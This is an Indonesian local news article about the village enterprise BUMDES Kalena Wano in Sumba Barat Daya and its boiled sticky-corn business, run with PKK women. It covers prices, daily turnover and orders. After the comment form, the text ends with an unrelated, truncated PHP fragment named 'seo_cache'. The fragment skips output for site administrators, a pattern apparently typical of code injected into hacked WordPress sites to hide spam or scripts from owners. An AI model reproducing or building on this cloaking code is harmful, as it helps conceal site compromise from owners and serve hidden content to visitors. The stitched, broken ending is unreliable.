Berita Desa

Geliat Usaha Jagung Pulut BUMDES Kalena Wano, Peluang Pendapatan yang Jarang Dilirik Orang

×

Geliat Usaha Jagung Pulut BUMDES Kalena Wano, Peluang Pendapatan yang Jarang Dilirik Orang

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA. COM – Beragam kiprah digeluti Badan Usaha Milik Desa (BUMDES) yang tersebar seantero wilayah Kabupaten Sumba Barat Daya. 

Meski keberadaan sebagian besar badan usaha yang modalnya bersumber dari Dana Desa ini mati suri, bahkan tidak jelas juntrungannya, tapi masih ada satu-dua BUMDES yang aktif. 

Salah satunya BUMDES Kalena Wano di Kecamatan Kota Tambolaka yang dinakhodai Paulus Malo Ngongo yang juga ketua PKK di desa itu. 

Pantauan awak media, kebanyakan dari segelintir BUMDES yang masih “bernapas” ini menekuni usaha jasa sewa kursi dan tenda, hingga ternak ayam pedaging. 

Salah seorang ibu yang mengelola usaha jagung pulut rebus sedang berkemas untuk siap mengantarkan pesanan konsumen didampingi Ketua BUMDES Paulus Malo Ngongo. ( Foto Menara Sumba )

Tapi rupanya insting bisnis pengelola BUMDES Kalena Wano cukup tajam mencium peluang usaha yang belum dilirik pihak lain. 

Usai sukses memasarkan ayam pedaging, salah satu mata usaha pokok BUMDES ini, giliran jagung pulut rebus yang laris manis dijajakan sejumlah ibu anggota PKK desa itu. 

“Hampir semua konsumen suka jagung pulut yang sudah direbus, jarang ada permintaan jagung mentah,” tutur Ketua BUMDES, Paulus Malo Ngongo. 

Suami Pj Kades Kalena Wano, Damiana Dada Gole ini menjelaskan kepada awak media yang meliput langsung pengolahan jagung pulut rebus beberapa waktu lalu. 

Dalam sehari, omzet pendapatan “bruto” usaha jagung pulut rebus ini mencapai hingga 800 ribu. 

Harganya pun terbilang ramah bagi kantong konsumen, cukup 10 ribu untuk empat buah jagung rebus.

Bangun pada pukul lima pagi, para ibu pengelola jagung pulut rebus langsung menuju dapur dan menyalakan api tungku. 

Pada pukul enam subuh urusan dapur “klaar” dan jagung pulut rebus siap diedarkan para ibu tersebut untuk menemani “ngopi” pagi konsumen dan pelanggan setia.

Jerih lelah sejumlah ibu ini diperhitungkan tidak dengan kalkulator bisnis, tapi lebih pada berbagi rasa sebagai keluarga.

“Kita berbagi untuk mama-mama yang jual, tidak hitung persen tapi sesuai kerelaan hati,” ungkapnya. 

Saling Menguntungkan

Sosok wartawan senior ini menyebut, simbiosis mutualisme jadi pola kerja sama BUMDES dengan sejumlah ibu yang setiap pagi dan sore lelah berkeringat dari tungku dapur hingga berkeliling menawarkan jagung pulut rebus. 

“Mereka sangat setia, karena kita memberikan yang terbaik, dan mereka pun memberi yang terbaik,” timpalnya.

Cita rasa jagung pulut BUMDES Kalena Wano yang lezat rupanya sudah familiar di lidah konsumen yang kemudian jadi pelanggan setia. 

Maka tak heran jika order pun berdatangan lewat dering online handphone pengelola dapur BUMDES Kalena Wano. 

Sekali pesan 20-30 buah, bahkan pernah ada yang order 200 buah jagung pulut rebus ini. 

“Baru-baru ada suami istri dari Jambi mampir menikmati langsung jagung rebus di kebun dan pulangnya memborong buah jagung mentah sebagai ole-ole,” kisah Paulus. 

Cita rasa jagung pulut yang disemai dan bertumbuh subur di lahan Ibu Pertiwi “Aba Luna Lele-Liku lai Paloda” memang beda. 

Kontur tanah Bumi Loura dengan tekstur yang jauh dari keasaman tinggi memang cocok untuk menghasilkan buah-buah lezat beragam jenis palawija. 

“Banyak orang pesimis karena Tanah Loura panas dan kering, tapi kami bidik peluang positifnya dengan budi daya jagung pulut,” tutup ayah empat anak ini.  ( JIP/MS

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>